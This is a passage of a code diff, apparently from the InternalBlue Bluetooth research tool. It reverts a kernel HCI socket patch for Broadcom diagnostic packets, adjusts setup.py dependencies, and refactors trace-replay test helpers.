hci_skb_pkt_type(skb) != HCI_EVENT_PKT &&
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT)
continue;
if (is_filtered_packet(sk, skb))
@@ -221,7 +220,6 @@ void hci_send_to_sock(struct hci_dev *hdev, struct sk_buff *skb)
continue;
if (hci_skb_pkt_type(skb) != HCI_EVENT_PKT &&
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT)
continue;
} else {
@@ -1685,8 +1683,7 @@ static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
MSG_CMSG_COMPAT))
return -EINVAL;
- // if (len < 4 || len > HCI_MAX_FRAME_SIZE)
- if (len < 3 || len > HCI_MAX_FRAME_SIZE)
+ if (len < 4 || len > HCI_MAX_FRAME_SIZE)
return -EINVAL;
lock_sock(sk);
@@ -1744,7 +1741,6 @@ static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
*/
if (hci_skb_pkt_type(skb) != HCI_COMMAND_PKT &&
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT) {
err = -EINVAL;
goto drop;
@@ -1789,7 +1785,6 @@ static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
}
if (hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT) {
err = -EINVAL;
goto drop;
+2 -2
View File
@@ -17,8 +17,8 @@ setup(
"internalblue/utils",
],
python_requires='>=3.6',
install_requires=["future", "cmd2", "pure-python-adb"],
extras_require={"macoscore": ["pyobjc"], "binutils": ["pwntools>=4.0.1", "pyelftools"]},
install_requires=["pwntools>=4.0.1", "pyelftools", "future"],
extras_require={"macoscore": ["pyobjc"], "ipython": ["IPython"]},
tests_require=["nose", "pytest", "pwntools>=4.2.0.dev0"],
entry_points={
"console_scripts": ["internalblue=internalblue.cli:internalblue_entry_point"]
+10 -2
View File
@@ -1,11 +1,19 @@
from __future__ import print_function
from __future__ import absolute_import
from tests.traces.testwrapper import trace_test, get_trace_path_cmd_tuple
import unittest
from .testwrapper import trace_test, get_trace_path_cmd_tuple
import os
tracedir = os.path.dirname(__file__)
#cores = ['macoscore', 'ioscore', 'adbcore', 'hcicore']
import unittest
def generate_test_suite_from_traces():
+18 -20
View File
@@ -1,7 +1,7 @@
from builtins import object
import argparse
from internalblue.cli import InternalBlueCLI, parse_args
from internalblue.cli import internalblue_cli, _parse_argv
import os
@@ -41,30 +41,28 @@ def get_trace_path_cmd_tuple(core, tracefile):
with open(tracepath) as f:
cmd = f.readline()
if cmd.startswith("#"):
return tracepath, cmd[1:-1]
return tracepath, cmd[1:]
else:
return tracepath, None
def trace_test(core, tracepath, commands):
args, unknown_args = parse_args()
args = _parse_argv("")
args.device = core_to_device[core]
args.replay = tracepath
cli = InternalBlueCLI(args)
cmd_array = commands.split("; ")
if "quit" not in cmd_array[len(cmd_array)-1]:
cmd_array += "quit"
cli.runcmds_plus_hooks(cmd_array)
args.commands = commands + "; quit"
internalblue_cli("", args=args)
# TODO: - Running individual tests with this method is currently a bit broken
# if __name__ == '__main__':
# parser = argparse.ArgumentParser()
# parser.add_argument("--core")
# parser.add_argument("--trace")
# parser.add_argument("--commands")
# margs = parser.parse_args()
#
# tracepath, commands = get_trace_path_cmd_tuple(margs.core, margs.trace)
# print(tracepath)
# print(commands)
# trace_test(margs.core, tracepath, commands)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("--core")
parser.add_argument("--trace")
parser.add_argument("--commands")
args = parser.parse_args()
tracepath, commands = get_trace_path_cmd_tuple(args.core, args.trace)
trace_test(args.core, tracepath, commands)